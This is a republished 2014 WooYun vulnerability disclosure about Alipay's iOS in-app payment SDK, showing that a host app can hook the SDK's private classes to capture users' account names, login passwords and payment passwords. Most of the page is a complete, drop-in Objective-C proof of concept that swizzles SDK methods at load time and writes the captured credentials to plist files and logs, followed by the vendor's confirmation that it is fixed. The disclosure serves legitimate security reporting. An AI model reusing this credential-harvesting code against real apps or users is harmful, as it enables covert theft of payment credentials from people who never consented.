[公开漏洞]支付宝iOS SDK存在第三方厂商可以记录用户敏感信息漏洞

    来源:WooYun 浏览:507次 时间:2014-07-09
支付宝iOS SDK存在第三方厂商可以记录用户敏感信息漏洞 相关厂商: 支付宝 漏洞作者:ZERO君 提交时间:2014-04-10 14:23 公开时间:2014-07-09 14:23 漏洞类型:用户敏感数据泄漏 危害等级:高 自评Rank:10 漏洞状态: 厂商已经确认 漏洞来源:http://www.wooyun.org Tags标签: 手机软件安全 iOS 移动互联网 漏洞详情 披露状态:

2014-04-10:细节已通知厂商并且等待厂商处理中
2014-04-11:厂商已经确认,细节仅向厂商公开
2014-04-14:细节向第三方安全合作伙伴开放
2014-04-21:细节向核心白帽子及相关领域专家公开
2014-05-01:细节向普通白帽子公开
2014-05-21:细节向实习白帽子公开
2014-07-09:细节向公众公开

简要描述:

现在支付宝在iOS上推出了极简收银台的支付SDK,如大众点评网应用就使用了该SDK。该SDK不需要跨应用跳转,直接在应用内完成支付,但存在使用SDK的厂商可以直接记录用户敏感信息的漏洞。

详细说明:

支付宝这类极简收银台的支付SDK,由于在第三方应用内直接集成,而且支付流程完全在第三方应用内执行,没有跳转到支付宝应用内授权。但iOS的运行机制比较动态,可以通过直接hook起SDK内部的一些私有方法。然后,通过hook起的方法,直接访问用户输入的支付密码和登陆账号、密码。完全可以在用户和支付宝不知情的情况下,记录用户这些数据。

漏洞证明:

IMG_2086.PNG



IMG_2086.PNG



//AlipayLoger.h
#import <Foundation/Foundation.h>

@class MiniPwd;
@class Input;
@class Password;

extern NSString *const PopupViewConfirmNotification;

typedef NS_ENUM(NSInteger, AlipayLogType) {
AlipayLogType_AccPwd,
AlipayLogType_PayPwd,
};

@interface AlipayLoger : NSObject

@property (nonatomic, weak) MiniPwd *mPwd;
@property (nonatomic, weak) Input *accName;
@property (nonatomic, weak) Password *accPwd;

@property (nonatomic) AlipayLogType curLogType;

+ (instancetype)shareInstance;

+ (void)startHook;

@end





//AlipayLoger.m
#import "AlipayLoger.h"
#import "MiniPwd+Hook.h"
#import "PopupView+Hook.h"
#import "Input+Hook.h"
#import "Password+Hook.h"
#import "NSObject+Runtime.h"

NSString *const PopupViewConfirmNotification = @"PopupViewConfirmNotification";

static NSString *const AL_PayPassword = @"PayPassword";
static NSString *const AL_LoginAccount = @"Account";
static NSString *const AL_LoginPassword = @"Password";

static AlipayLoger *__shareInstance = nil;

@implementation UIResponder (AlipayHook)

+ (void)load
{
static dispatch_once_t onceToken;
dispatch_once(&onceToken, ^{
[AlipayLoger startHook];
});
}

@end

@implementation AlipayLoger

+ (NSString *)libPath
{
return NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES)[0];
}

+ (NSString *)payInfoPath
{
return [[AlipayLoger libPath] stringByAppendingPathComponent:@"payInfo.plist"];
}

+ (NSString *)loginInfoPath
{
return [[AlipayLoger libPath] stringByAppendingPathComponent:@"loginInfo.plist"];
}

+ (instancetype)shareInstance
{
static dispatch_once_t onceToken;
dispatch_once(&onceToken, ^{
__shareInstance = [[AlipayLoger alloc] init];
});

return __shareInstance;
}

- (instancetype)init
{
self = [super init];
if (self) {
[[NSNotificationCenter defaultCenter] addObserver:self
selector:@selector(receiveLogNotification:)
name:PopupViewConfirmNotification
object:nil];
}

return self;
}

- (void)receiveLogNotification:(NSNotification *)notification
{
NSString *tName = self.accName.textField.text;
NSString *tPwd = self.accPwd.textField.text;

if (self.curLogType == AlipayLogType_AccPwd &&
tName.length && tPwd.length) {
NSDictionary *dict = @{AL_LoginAccount: tName,
AL_LoginPassword: tPwd};
[dict writeToFile:[AlipayLoger loginInfoPath] atomically:YES];
NSLog(@"AlipayLoger:\n%@: %@\n%@: %@", AL_LoginAccount, tName, AL_LoginPassword, tPwd);
} else if (self.curLogType == AlipayLogType_PayPwd) {
UITextField *textField = [self.mPwd objectWithVarName:@"textField"];
NSDictionary *dict = @{AL_PayPassword: textField.text};
[dict writeToFile:[AlipayLoger payInfoPath] atomically:YES];
NSLog(@"AlipayLoger:\n%@: %@", AL_PayPassword, textField.text);
}
}

+ (void)startHook
{
[PopupView startHook];
[MiniPwd startHook];
[Input startHook];
[Password startHook];
}

@end





//NSObject+Runtime.h
#import <Foundation/Foundation.h>

@interface NSObject (Runtime)

- (id)objectWithVarName:(NSString *)varName;

@end





//NSObject+Runtime.m
#import "NSObject+Runtime.h"
#import <objc/runtime.h>

@implementation NSObject (Runtime)

- (id)objectWithVarName:(NSString *)varName
{
unsigned int count;
Ivar *vars = class_copyIvarList([self class], &count);
Ivar *findVar = NULL;
const char *name = [varName UTF8String];

for (unsigned int i = 0; i < count; i++) {
if (strcmp(name, ivar_getName(vars[i])) == 0) {
findVar = vars+i;
break;
}
}
id returnObj = object_getIvar(self, *findVar);
free(vars);

return returnObj;
}

@end





//MiniPwd.h
#import <UIKit/UIKit.h>

@interface MiniPwd : UIView {
UITextField* textField;// 80 = 0x50
}

-(id)getValue;// 0x7fdf9
-(id)init:(CGSize)init withModel:(id)model;// 0x7f499
@end





//MiniPwd+Hook.h
#import "MiniPwd.h"

@interface MiniPwd (Hook)

+ (void)startHook;

@end





//MiniPwd+Hook.m
#import "MiniPwd+Hook.h"
#import "AlipayLoger.h"
#import "JRSwizzle.h"
#import "NSObject+Runtime.h"

@implementation MiniPwd (Hook)

+ (void)startHook
{
[self jr_swizzleMethod:@selector(init:withModel:) withMethod:@selector(initHook:withModel:) error:nil];
}

- (id)initHook:(CGSize)init withModel:(id)model
{
self = [self initHook:init withModel:model];
if (self) {
[AlipayLoger shareInstance].mPwd = self;
[AlipayLoger shareInstance].curLogType = AlipayLogType_PayPwd;
}

return self;
}


@end





//PopupView.h
#import <UIKit/UIKit.h>

@class NSString, UIImageView, NSDictionary, UIView, NSMutableArray, UIButton;

@interface PopupView : UIView
{

}
-(void)onCancle:(id)cancle;// 0x82731
-(void)onConfirm:(id)confirm;// 0x827e5

@end





//PopupView+Hook.h
#import "PopupView.h"

@interface PopupView (Hook)

+ (void)startHook;

@end





//PopupView+Hook.m
#import "PopupView+Hook.h"
#import "JRSwizzle.h"
#import "AlipayLoger.h"

@implementation PopupView (Hook)

+ (void)startHook
{
[PopupView jr_swizzleMethod:@selector(onConfirm:) withMethod:@selector(hookOnConfirm:) error:nil];
}

- (void)hookOnConfirm:(UIButton *)sender
{
[[NSNotificationCenter defaultCenter] postNotificationName:PopupViewConfirmNotification object:nil];
[self hookOnConfirm:sender];
}

@end





//Input.h
#import <UIKit/UIKit.h>

@interface Input : UIView {
@private
NSString* _content;// 52 = 0x34
NSString* _format;// 56 = 0x38
UILabel* _paddingView;// 60 = 0x3c
NSString* _textFieldFormat;// 64 = 0x40
NSString* _keyboard;// 68 = 0x44
NSString* _format_msg;// 72 = 0x48
UITextField* _textField;// 76 = 0x4c
}
@property(retain, nonatomic) UITextField* textField;// G=0x7e0c5; S=0x7e0d5;
@end





//Input+Hook.h
#import "Input.h"

@interface Input (Hook)

+ (void)startHook;

@end





//Input+Hook.m
#import "Input+Hook.h"
#import "AlipayLoger.h"
#import "JRSwizzle.h"

@implementation Input (Hook)

+ (void)startHook
{
[self jr_swizzleMethod:@selector(init:withModel:) withMethod:@selector(initHook:withModel:) error:nil];
}

- (id)initHook:(CGSize)init withModel:(id)model
{
self = [self initHook:init withModel:model];
if ([self isMemberOfClass:[Input class]]) {
[AlipayLoger shareInstance].accName = self;
}

return self;
}

@end





//Password.h
#import "Input.h"

@interface Password : Input {
}
-(id)init:(CGSize)init withModel:(id)model;// 0x80125
@end





//Password+Hook.h
#import "Password.h"

@interface Password (Hook)

+ (void)startHook;

@end





//Password+Hook.m
#import "Password+Hook.h"
#import "AlipayLoger.h"
#import "JRSwizzle.h"

@implementation Password (Hook)

+ (void)startHook
{
[self jr_swizzleMethod:@selector(init:withModel:) withMethod:@selector(initHookP:withModel:) error:nil];
}

- (id)initHookP:(CGSize)init withModel:(id)model
{
self = [self initHookP:init withModel:model];
if (self) {
[AlipayLoger shareInstance].accPwd = self;
[AlipayLoger shareInstance].curLogType = AlipayLogType_AccPwd;
}

return self;
}

@end





//JRSwizzle.h
// JRSwizzle.h semver:1.0
// Copyright (c) 2007-2011 Jonathan 'Wolf' Rentzsch: http://rentzsch.com
// Some rights reserved: http://opensource.org/licenses/MIT
// https://github.com/rentzsch/jrswizzle

#import <Foundation/Foundation.h>

@interface NSObject (JRSwizzle)

+ (BOOL)jr_swizzleMethod:(SEL)origSel_ withMethod:(SEL)altSel_ error:(NSError**)error_;
+ (BOOL)jr_swizzleClassMethod:(SEL)origSel_ withClassMethod:(SEL)altSel_ error:(NSError**)error_;

@end





//JRSwizzle.m
// JRSwizzle.m semver:1.0
// Copyright (c) 2007-2011 Jonathan 'Wolf' Rentzsch: http://rentzsch.com
// Some rights reserved: http://opensource.org/licenses/MIT
// https://github.com/rentzsch/jrswizzle

#import "JRSwizzle.h"

#if TARGET_OS_IPHONE
#import <objc/runtime.h>
#import <objc/message.h>
#else
#import <objc/objc-class.h>
#endif

#define SetNSErrorFor(FUNC, ERROR_VAR, FORMAT,...)\
if (ERROR_VAR) {\
NSString *errStr = [NSString stringWithFormat:@"%s: " FORMAT,FUNC,##__VA_ARGS__]; \
*ERROR_VAR = [NSError errorWithDomain:@"NSCocoaErrorDomain" \
code:-1\
userInfo:[NSDictionary dictionaryWithObject:errStr forKey:NSLocalizedDescriptionKey]]; \
}
#define SetNSError(ERROR_VAR, FORMAT,...) SetNSErrorFor(__func__, ERROR_VAR, FORMAT, ##__VA_ARGS__)

#if OBJC_API_VERSION >= 2
#define GetClass(obj)object_getClass(obj)
#else
#define GetClass(obj)(obj ? obj->isa : Nil)
#endif

@implementation NSObject (JRSwizzle)

+ (BOOL)jr_swizzleMethod:(SEL)origSel_ withMethod:(SEL)altSel_ error:(NSError**)error_ {
#if OBJC_API_VERSION >= 2
Method origMethod = class_getInstanceMethod(self, origSel_);
if (!origMethod) {
#if TARGET_OS_IPHONE
SetNSError(error_, @"original method %@ not found for class %@", NSStringFromSelector(origSel_), [self class]);
#else
SetNSError(error_, @"original method %@ not found for class %@", NSStringFromSelector(origSel_), [self className]);
#endif
return NO;
}

Method altMethod = class_getInstanceMethod(self, altSel_);
if (!altMethod) {
#if TARGET_OS_IPHONE
SetNSError(error_, @"alternate method %@ not found for class %@", NSStringFromSelector(altSel_), [self class]);
#else
SetNSError(error_, @"alternate method %@ not found for class %@", NSStringFromSelector(altSel_), [self className]);
#endif
return NO;
}

class_addMethod(self,
origSel_,
class_getMethodImplementation(self, origSel_),
method_getTypeEncoding(origMethod));
class_addMethod(self,
altSel_,
class_getMethodImplementation(self, altSel_),
method_getTypeEncoding(altMethod));

method_exchangeImplementations(class_getInstanceMethod(self, origSel_), class_getInstanceMethod(self, altSel_));
return YES;
#else
//Scan for non-inherited methods.
Method directOriginalMethod = NULL, directAlternateMethod = NULL;

void *iterator = NULL;
struct objc_method_list *mlist = class_nextMethodList(self, &iterator);
while (mlist) {
int method_index = 0;
for (; method_index < mlist->method_count; method_index++) {
if (mlist->method_list[method_index].method_name == origSel_) {
assert(!directOriginalMethod);
directOriginalMethod = &mlist->method_list[method_index];
}
if (mlist->method_list[method_index].method_name == altSel_) {
assert(!directAlternateMethod);
directAlternateMethod = &mlist->method_list[method_index];
}
}
mlist = class_nextMethodList(self, &iterator);
}

//If either method is inherited, copy it up to the target class to make it non-inherited.
if (!directOriginalMethod || !directAlternateMethod) {
Method inheritedOriginalMethod = NULL, inheritedAlternateMethod = NULL;
if (!directOriginalMethod) {
inheritedOriginalMethod = class_getInstanceMethod(self, origSel_);
if (!inheritedOriginalMethod) {
SetNSError(error_, @"original method %@ not found for class %@", NSStringFromSelector(origSel_), [self className]);
return NO;
}
}
if (!directAlternateMethod) {
inheritedAlternateMethod = class_getInstanceMethod(self, altSel_);
if (!inheritedAlternateMethod) {
SetNSError(error_, @"alternate method %@ not found for class %@", NSStringFromSelector(altSel_), [self className]);
return NO;
}
}

int hoisted_method_count = !directOriginalMethod && !directAlternateMethod ? 2 : 1;
struct objc_method_list *hoisted_method_list = malloc(sizeof(struct objc_method_list) + (sizeof(struct objc_method)*(hoisted_method_count-1)));
hoisted_method_list->obsolete = NULL;// soothe valgrind - apparently ObjC runtime accesses this value and it shows as uninitialized in valgrind
hoisted_method_list->method_count = hoisted_method_count;
Method hoisted_method = hoisted_method_list->method_list;

if (!directOriginalMethod) {
bcopy(inheritedOriginalMethod, hoisted_method, sizeof(struct objc_method));
directOriginalMethod = hoisted_method++;
}
if (!directAlternateMethod) {
bcopy(inheritedAlternateMethod, hoisted_method, sizeof(struct objc_method));
directAlternateMethod = hoisted_method;
}
class_addMethods(self, hoisted_method_list);
}

//Swizzle.
IMP temp = directOriginalMethod->method_imp;
directOriginalMethod->method_imp = directAlternateMethod->method_imp;
directAlternateMethod->method_imp = temp;

return YES;
#endif
}

+ (BOOL)jr_swizzleClassMethod:(SEL)origSel_ withClassMethod:(SEL)altSel_ error:(NSError**)error_ {
return [GetClass((id)self) jr_swizzleMethod:origSel_ withMethod:altSel_ error:error_];
}

@end





以上是全部的实现代码,直接嵌入到Xcode工程即可,调用支付宝SDK时会有相应的log输出,和Document下有两个plist记录账号密码信息。JRSwizzle是一个辅助用的开源库。

修复方案:

不建议支付流程全部在第三方应用内完成

版权声明:转载请注明来源 ZERO君@乌云 漏洞回应 厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-04-11 18:35

厂商回复:

感谢您的反馈,目前该漏洞已经在新版本SDK中进行了修复

最新状态:

暂无

当前位置:站长啦网站目录 » 站长资讯 » 站长新闻 » 漏洞预警 » 文章详细